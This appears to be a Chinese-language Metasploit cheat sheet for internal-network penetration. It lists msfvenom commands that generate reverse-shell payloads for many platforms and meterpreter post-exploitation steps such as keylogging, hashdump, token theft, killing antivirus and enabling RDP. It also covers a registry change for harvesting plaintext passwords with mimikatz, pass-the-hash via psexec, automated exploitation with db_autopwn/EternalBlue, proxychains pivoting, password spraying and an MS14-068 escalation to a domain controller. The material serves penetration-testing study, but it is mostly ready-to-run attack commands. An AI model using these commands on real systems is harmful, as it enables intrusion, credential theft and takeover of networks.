msf内网
metasploit一个漏洞框架,允许开发自己的漏洞脚本测试
基本操作
运行
msfconsole
术语
– Exploit,攻击工具/代码
– Payload,攻击载荷
– Shellcode,一段自主运行的汇编代码,用来利用漏洞。像msf的msfveom或者cs的payload generator可生成shellcode
– Module,模块
– Listener,监听器
常用命令
show exploits – 查看所有可用的渗透攻击程序代码show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
Cd 更改当前的工作目录
核心命令
Sessions – 转储会话列表并显示有关会话的信息
Color – 切换颜色
Connect – 连接与主机通信
exit – 退出控制台
quit – 退出控制台
sleep – 在指定的秒数内不做任何事情
get – 获取特定于上下文的变量的值
getg – 获取全局变量的值
spool – 将控制台输出写入文件以及屏幕
threads – 线程查看和操作后台线程
grep – 另一个命令的输出
unload – 卸载框架插件
load – 加载一个框架插件
history – 显示命令历史
irb – 进入irb脚本模式
version – 显示框架和控制台库版本号
route – 通过会话路由流量
建立搜索缓存数据库
kali终端中执行
service postgresql start - 启动postgresql数据库,监听5432
msfdb init - 初始化metaspolit数据库
msfconsole db_status - 查看数据库连接情况
msfconsole db_rebuild_cache - 建立数据库缓存
数据库后端命令
analyze – 分析有关特定地址或地址范围的数据库信息
db_connect – 连接到现有数据服务
db_disconnect – 断开与当前数据服务的连接
db_export – 导出包含数据库内容的文件
db_import – 导入扫描结果文件(将自动检测文件类型)
db_nmap – 执行nmap并自动记录输出
db_rebuild_cache – 重建数据库存储的模块高速缓存
db_remove – 删除已保存的数据服务条目
db_save – 将当前数据服务连接保存为启动时重新连接的默认值
db_status – 显示当前数据服务状态
hosts – 列出数据库中的所有主机
loot – 列出数据库中的所有战利品
notes – 列出数据库中的所有注释
services – 列出数据库中的所有服务
vulns – 列出数据库中的所有漏洞
workspace – 在数据库工作区之间切换凭据后端命令
creds – 列出数据库中的所有凭据
模块命令
Advanced – 显示一个或多个模块的高级选项
Back – 从当前上下文返回
Edit – 使用首选编辑器编辑当前模块
info – 显示有关一个或多个模块的信息
loadpath – 路径从路径搜索并加载模块
options – 显示全局选项或一个或多个模块
popm – 将最新的模块从堆栈中弹出并使其处于活动状态
previous – 将之前加载的模块设置为当前模块
pushm – 将活动或模块列表推入模块堆栈
reload_all – 从所有定义的模块路径重新加载所有模块
search – 搜索模块名称和描述
show – 显示给定类型的模块或所有模块
use – 按名称选择模块
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
setdesktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
run vnc #使用vnc远程桌面连接
msf功能程序
msfvenom (攻击载荷生成和编码器)
主要参数:-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
LHOST,LPORT 监听上线的主机IP和端口
-f exe 生成EXE格式
使用msfvenom -l 可以查看可以利用payload
msfvenom -l| grep windows | grep x64| grep tcp 选择payload
一些例子
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
这些是反向连接的shell,msf也有正向连接的 windows/x64/meterpreter/bind_tcp
监听
use exploit/multi/handler
set payload <Payload name>
show options 查看参数
set <参数> <参数值>
exploit -j –z -j(作为job开始运行,强制运行在前台,即使是被动的)和-z(不立即进行session交互--也即是自动后台运行)
set PrependMigrate true – 自动迁移进程
也可在启动时监听
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_http; set lhost 127.0.0.1; set lport 1234; exploit - j; "
meterpreter后渗透攻击
Meterpreter提供的功能包括反追踪、纯内存工作模式、系统信息获取、密码哈希导出、文件上传载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。
基本命令
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式:去掉如下参数前面的注释
如果拿到cmd乱码,是因为Windows命令终端默认活动代码页为:936(ANSI/OEM-简体中文GBK),与Linux命令终端默认65001(Unicode-UTF-8)编码不一致。
chcp 65001
获取hash和明文
meterpreter > hashdump
或
meterpreter > run hashdump
可获取hash
在最新的版本中load mimikatz已经取消 现在使用kiwi模块
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
Windows201以上,默认禁止在内存缓存中保存明文密码
修改注册表抓明文
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
kiwi_cmd sekurlsa::logonpasswords
可读到明文和hash
msf下有psexec的模块,可利用hash进行登录
use exploit/windows/smb/psexec
set SMBUser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
开启远程终端
meterpreter > run getgui -e 开启远程终端
执行后会开启目标的3389
在kali终端下连接
rdesktop ip
端口转发
如果服务器开启了防火墙,会拦截远程终端端口。可以使用portfwd将3389转发出来
portfwd add -l 1234 -p 3389 -r目标ip
之后rdesktop连接本地的1234
rdesktop 127.0.0.1:1234
可将转发清楚掉
portfw
db_nmap+db_autopwn对主机进行自动漏洞攻击
https://github.com/hahwul/metasploit-autopwn
复制到插件目录
cp db_autopwn.rb /opt/metasploit-framework/plugins
加载插件
load db_autopwn
使用说明
db_autopwn
使用:db_autopwn [options]
-h显示帮助文本
-t显示所有匹配的攻击模块
-x根据漏洞引用选择模块
-p根据打开的端口选择模块
-e发射利用所有匹配的目标
-r使用反向连接shell
-b在随机端口上使用绑定shell(默认)
-q禁用攻击模块输出
-R [rank]只运行等级最小的模块
-I [range]仅利用此范围内的主机
-X [range]总是排除该范围内的主机
-PI [range]仅利用打开这些端口的主机
-PX [range]总是排除打开这些端口的主机
-m [regex]只运行名称匹配regex的模块
-T [secs]任何攻击的最大运行时间(以秒为单位)
常用命令
db_autopwn -t -p -r
db_autopwn -p -m exploit/windows/smb/ms17_010_eternalblue -e
跨路由访问
渗透过程中,拿到一个主机与数据库不在同一个网段的主机,可得出此主机连接内网,我们将此web主机当作跳板机渗透内网
在跳板机拿到一个meterpreter
获取内网网卡
run get_local_subnets
绑定路由(不绑定路由无法访问目标主机)
run autoroute -s 10.10.10.0/24
或者
route add 10.10.10.0 255.255.255.0 1
查看路由
run autoroute -p
h
route print
使用隧道,默认socks5,也可选择socks4a
use auxiliary/server/socks_proxy
直接 run就行
之后我们使用proxychains4来代理一些工具走socks5这个隧道
编辑配置文件
sudo vi /etc/proxychains4.conf
将socks4改为socks5;将127.0.0.1改为本机kali ip;修改端口
比如我们使用ptoxychains4代理nmap
proxychains4 nmap 10.10.10.138 -sT -A -p 445
-pn 不检测主机存活
禁止smb协议ping到目标主机,假如没有返回smb包,nmap默认主机不存在
设置代理,让msf直接访问目标
setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
setg Proxies socks5:192.168.0.180:1080
set ReverseAllowProxy true
#允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
设置代理之后可直接访问目标主机
域信息搜集
常用信息搜集模块
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
收集域信息
run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token
密码喷射
检测用户账号
use auxiliary/gather/kerberos_enumusers #Kerberos用户名枚举–用户名字典
使用密码尝试登录
use auxiliary/scanner/smb/smb_login
猜解密码时,应当考虑账户锁定策略,最好一次猜解一个密码,限制自己猜解的次数为2次或者4次。
令牌
令牌登录
load incognito #加载incognito
list_tokens -u #列出当前系统可用的token
impersonate_token 'NT AUTHORITYSYSTEM' #假冒SYSTEM token
or
impersonate_token NT AUTHORITY\SYSTEM #参数不加单引号需要对特殊字符进行转义
rev2self #返回原始token
令牌窃取
ps #查看系统进程信息
steal_token <pid值> #从指定进程中窃取token
drop_token #删除窃取的token
内网之域普通用户到域控
在windows2008里我们可使用MS 14-086 exp模块进行提权
admin/kerberos/ms14_068_kerberos_checksum
拿到一个域普通用户,在merterpreter中进入shell,whoami /all 查询user sid
之后进入模块,填写参数
如果域名无法解析,将nameserver 填写域控ip
sudo vi /etc/resolv.conf
之后run即可,生成bin文件
在merterpreter中将bin文件上传至域普通用户
在与普通用户里使用mimikatz将bin文件导入票据,即可访问域控
刚开始拒绝访问,我们将bin文件导入进程即可访问域控
可将域普通用户的mimikatz复制到域控下的c盘
copy C:\Users\test\Desktop\mimikatz_trunk\x64\mimikatz.exe \\08server-dc.moonsec.fbi\c$
也可以使用psexec进行登录
C:\Users\test\Desktop\PsExec64.exe \\08server-dc.moonsec.fbi -s cmd.exe
使用刚才复制的mimikatz导出域控的hash
因为原本就是system权限,所以不需要使用privilege::debug进行提权
直接导出hash
sekurlsa::logonpasswords
拿到ntlm hash可以做票据